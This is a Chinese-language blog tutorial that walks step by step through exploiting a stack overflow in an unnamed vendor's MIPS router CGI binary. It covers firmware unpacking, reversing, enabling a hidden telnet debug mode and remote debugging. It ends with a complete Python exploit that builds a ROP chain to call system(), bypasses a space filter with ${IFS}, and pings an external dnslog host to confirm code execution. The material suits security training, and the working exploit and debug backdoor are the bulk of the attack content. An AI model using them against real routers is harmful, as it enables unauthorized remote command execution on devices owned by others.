从零开始的路由器漏洞挖掘之旅

虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。

虽然目前已经有了很多很多路由器漏洞挖掘的文章资料,但是适合新手入门的、涉及环境配置细节的教学文章还是比较少,本文将带你一步步学习如何从零开始挖掘某厂商路由器的漏洞,通过实际操作和工具使用,深入了解固件分析、动态调试和漏洞利用的全过程,希望可以帮助读者少走一些弯路。

固件分析

安装和配置binwalk

Binwalk是一个固件分析工具,可以帮助我们提取和分析嵌入式固件镜像。首先,按照以下步骤安装binwalk:

binwalk作者为Ubuntu系统定制了依赖的安装脚本,直接执行deps.sh,免去大部分烦恼!

git clone https://github.com/ReFirmLabs/binwalk
cd binwalk 
sudo python3 setup.py install
sudo ./deps.sh

在开始漏洞挖掘之前,我们需要下载并解包路由器的固件。本文以某厂商路由器为例,首先从官网下载固件,然后使用binwalk进行解包:

binwalk -Me <firmware_file>

漏洞分析

目标漏洞信息

目标路由器属于MIPSEL架构,漏洞二进制位于setup.cgi(许多路由器的漏洞都位于CGI中,所以可以多看看,而且也比较容易利用)

file setup.cgi
setup.cgi: ELF 32-bit LSB shared object, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

main函数在setup_main

逆向

sub_555BA950从nvram中获取了环境变量fw_out_rules的值,没有进行长度检查,在sscanf格式化写入到v16导致栈溢出。

image-20220112184825883

通过交叉引用fw_out_rules可以发现该环境变量在sub_55567D8C被设置。

image-20220113151149696

交叉引用上面所说的两个函数 可以发现都是通过ActionTab方式按名调用,分别是rule_list_simple_outoutmove可以在固件解包的目录下grep搜索对应的字符串找到对应的外部接口,下面结合前端后端进行分析。

image-20220112191412505

直接访问fw_rules.htm,搞几个规则,使用 nvram show | grep fw_out_rules 可以看到这个变量储存的是Service name还有一些数字啥的。

image-20220113151643166

image-20220113151751457

所以我们需要控制请求里的 service_list参数,来修改fw_out_rules,最后访问BKS_service_add.htm触发栈溢出。

image-20220113151857290

动态调试

路由器配置

开启telnet

虽然该款路由器开启调试的方式早已公开,但是为了弄清楚细节,最好的办法是手工逆一下。

其中函数CallActionByName通过查ActionTab表比对参数todo的值方式来调用函数todo中的参数对应函数

<img src="https://s2.loli.net/2022/01/13/9WGF231OVSjyheT.png" alt="image-20220107154406516" style="zoom: 67%;" />

image-20220107154250888

注意到这个部分在许多函数中都有出现,搜索发现是一个为了修CNNVD-201306-024而写的一个check(IoT 分析 | 路由器漏洞频发,mirai 新变种来袭 - 云+社区 - 腾讯云 (tencent.com))。

image-20220107154751796

所以可以通过todo=debug开启telnet

image-20220107155810535

192.168.1.1/setup.cgi?todo=debug
telnet 192.168.1.1

image-20220110143548482

编译gdbserver

在路由器上也要进行相应的调试配置

注意路由器是小端序,参数加上-EL

搭建iot动态调试环境_九层台-CSDN博客

sudo apt-get install linux-libc-dev-mipsel-cross
sudo apt-get install libc6-mipsel-cross libc6-dev-mipsel-cross
sudo apt-get install binutils-mipsel-linux-gnu gcc-mipsel-linux-gnu
sudo apt-get install g++-mipsel-linux-gnu
wget https://ftp.gnu.org/gnu/gdb/gdb-10.1.tar.xz
tar xvf gdb-10.1.tar.xz
cd gdb-10.1
CC="mips-linux-gnu-gcc -EL" CXX="mips-linux-gnu-g++" ./configure --target=mips-linux-gnu --host="mips-linux-gnu" --prefix="/root/tgdb" LDFLAGS="-static"
make -j7

编译不了,不知道为啥(

这里下一个

https://github.com/stayliv3/gdb-static-cross/tree/master/prebuilt

HatLab Tools Library: 海特实验室IoT安全工具/环境整合 - Gitee.com

上传gdbserver

比较好的办法是使用http server

python -m http.server 9999
wget http://192.168.1.2:9999/gdbserver

image-20220110153101486

附加二进制的坑点

由于setup.cgi不是持久存在的,需要循环attach,这个脚本可以解决。

int=1
while [ $int -le 1000 ]; do
    /tmp/gdbserver 0.0.0.0:12345 --attach `ps -A | grep setup.cgi | awk '{print $1}' | head -n 1`
done

调试端配置

环境: Ubuntu 21

安装gef

gef是异构动态调试做的比较好的一款gdb插件,推荐使用。

bash -c "$(wget http://gef.blah.cat/sh -O -)"

安装gdb-multiarch

普通的gdb无法调试mips架构的二进制,所以你需要gdb-multiarch,Ubuntu的话直接使用apt就可以进行安装了。

sudo apt install gdb-multiarch

gdb调试配置

为了让gdb正确进行调试,首先需要进行一下环境配置。

set arch mips
set endian little
gef-remote 192.168.1.1:12345

image-20220111110708497

在调试过程可以断到gadget,以及加载libc符号,如果觉得每次敲gdb命令比较繁琐,可以将gdb的命令保存成文件,然后在使用gdb-multiarch通过-x选项直接通过文件加载命令:

set arch mips
set endian little
gef-remote 192.168.1.1:12345
b *0x555BAC2C
gdb-multiarch setup.cgi -x ./gdb.cmd

IDA反汇编出来的base可能跟实际基址不一样,可以调出实际的基址再rebase一下。

image-20220111141841115

漏洞利用

函数栈

mips调用函数时将返回地址放在 $ra,与x86架构类似,在函数起始处压栈,结束时弹出,通过ja指令跳到返回地址,所以需要溢出到var_s24来劫持控制流。

image-20220111152002015

执行system

介绍一下 mips 下神奇的函数调用:

image-20220111161809879

在这里跳到 $t9 也就是 system 之后,会执行一下下面的那条语句(也就是 5B068 处的语句)之后才继续在 system 里面执行

那么这个gadget 我们就可以把 sp + 0xa8 + 0x88 处放一个command的指针,这样就会调用 system(ptr)

然后执行命令可以执行 ping 命令(其中 ping 需要绝对路径,需要注意):

/bin/ping hv14uf.dnslog.cn -c 2

寻找gadgets

MIPS架构推荐使用ropper进行查找,查找时可以参考可被控制的寄存器来筛选gadget。

file setup.cgi
search addiu $a0

一开始找到了这个,后来发现怎么也打不通

0x5556af20: addiu $a0, $sp, 0x18; lw $ra, 0x5c($sp); lw $v0, 0x18($sp); jr $ra; addiu $sp, $sp, 0x60; 
0x55567650: la $t9, system; nop; jalr $t9; nop;

后来翻了翻CTF中常见的C语言输入函数截断属性总结 | Clang裁缝店 (xuanxuanblingbling.github.io)发现是0x20截断了,所以我们system执行的command也需要绕过空格

image-20220114114632712

同时在FindForbidValue函数里也check了一些敏感字符/关键字,包含这些字符的请求包将会被丢弃。

<img src="https://s2.loli.net/2022/01/13/1r5sHdV8MGNlgLY.png" alt="image-20220112183944202.png" style="zoom: 67%;" />

后来还是用原来的(,将command写到 $a0-0x60上,跳到0x55567650执行就行了。

0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 
0x55567650: la $t9, system; nop; jalr $t9; nop;

如果你也比较懒的的话,可以用cyclic -l来找偏移。

image-20220113142357164

调试时发现$a0的值会随长度变化而变化,所以得填充一下,调试时用的长度500,这里也pad到500,如果想执行更长的命令,可以增加一下payload长度。

最终exp

import requests,re
import base64
url = "http://192.168.1.1/"
user = "aaaa"
pwd = "xxxx!"
command = '/bin/ping xxx.dnslog.cn -c 4'
command = command.replace(" ", "${IFS}")
auth =  "Basic " + base64.b64encode((user + ":" + pwd).encode()).decode("utf-8")

def login():
    get_sessionid = requests.get(url)
    sessionid = get_sessionid.headers["Set-Cookie"]
    headers = {
        "Authorization" : auth,
        "Cookie" : sessionid
    }
    r = requests.get(url,headers = headers)
    if r.status_code == 200:
        print("[+] Login success!")
        return sessionid
    else:
        print("[-] Login failed!")
        exit(0)

def get_sid(sessionid):
    headers = {
        "Authorization" : auth,
        "Cookie" : sessionid
    }
    get_sid = requests.get(url + "fw_rules.htm",headers = headers)
    sid = re.findall(r'\?id=[a-f0-9]+', get_sid.content.decode("utf-8"))
    return sid[0]

def attack(sessionid):
    attackurl = url + "setup.cgi" +  get_sid(sessionid)   
    payload = "a" * 376
    payload += "%e4%2c%59%55" # ra = 0x55592ce4: addiu $a0, $a0, -0x60; lw $ra, 0x1c($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 
    payload += "b" * 0x1c
    payload += "%50%76%56%55" # ra = 0x55567650: la $t9, system; nop; jalr $t9; nop;
    payload += "c" * 8
    payload += "%0a{}%0a".format(command)
    pad = 500 - (len(payload) - 4)  
    if(pad >= 0):
        payload += "c" * pad # pad len to 500
        print("[+] Attack start")
        print(attackurl,payload)
        data = "save=Apply&service_list=" + payload + "&fwout_action=0&fwout_laniptype=anyip&fwout_waniptype=anyip&fwout_logging=1&h_fwout_action=0&h_fwout_laniptype=anyip&h_fwout_waniptype=anyip&h_fwout_logging=1&h_service_list=AIM&c4_lan_start_ip=192.168.1.NaN&c4_lan_finish_ip=192.168.1.NaN&c4_wan_start_ip=&c4_wan_finish_ip=&h_ruleSelect=0&edit=0&todo=save&this_file=rule_out.htm&next_file=BKS_service_add.htm&SID="
        headers = {
            "Cookie" : sessionid,
            "Authorization" : auth
        }   
        r = requests.post(url = attackurl,data = data,headers = headers)
        if r.status_code:
            print("[+] Attack success!, the result is:")
            print(r.content)
        else:
            print("[-] Attack failed!")
            exit(0)

sessionid = login()
attack(sessionid)

image-20220113144005080

image-20241222203953532.png

ref

TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析 - Lonely Blog (wuhao13.xin)

HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)

思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)

0 条评论

请先 登录 后评论
Vokekk
Vokekk

1 篇文章

站长统计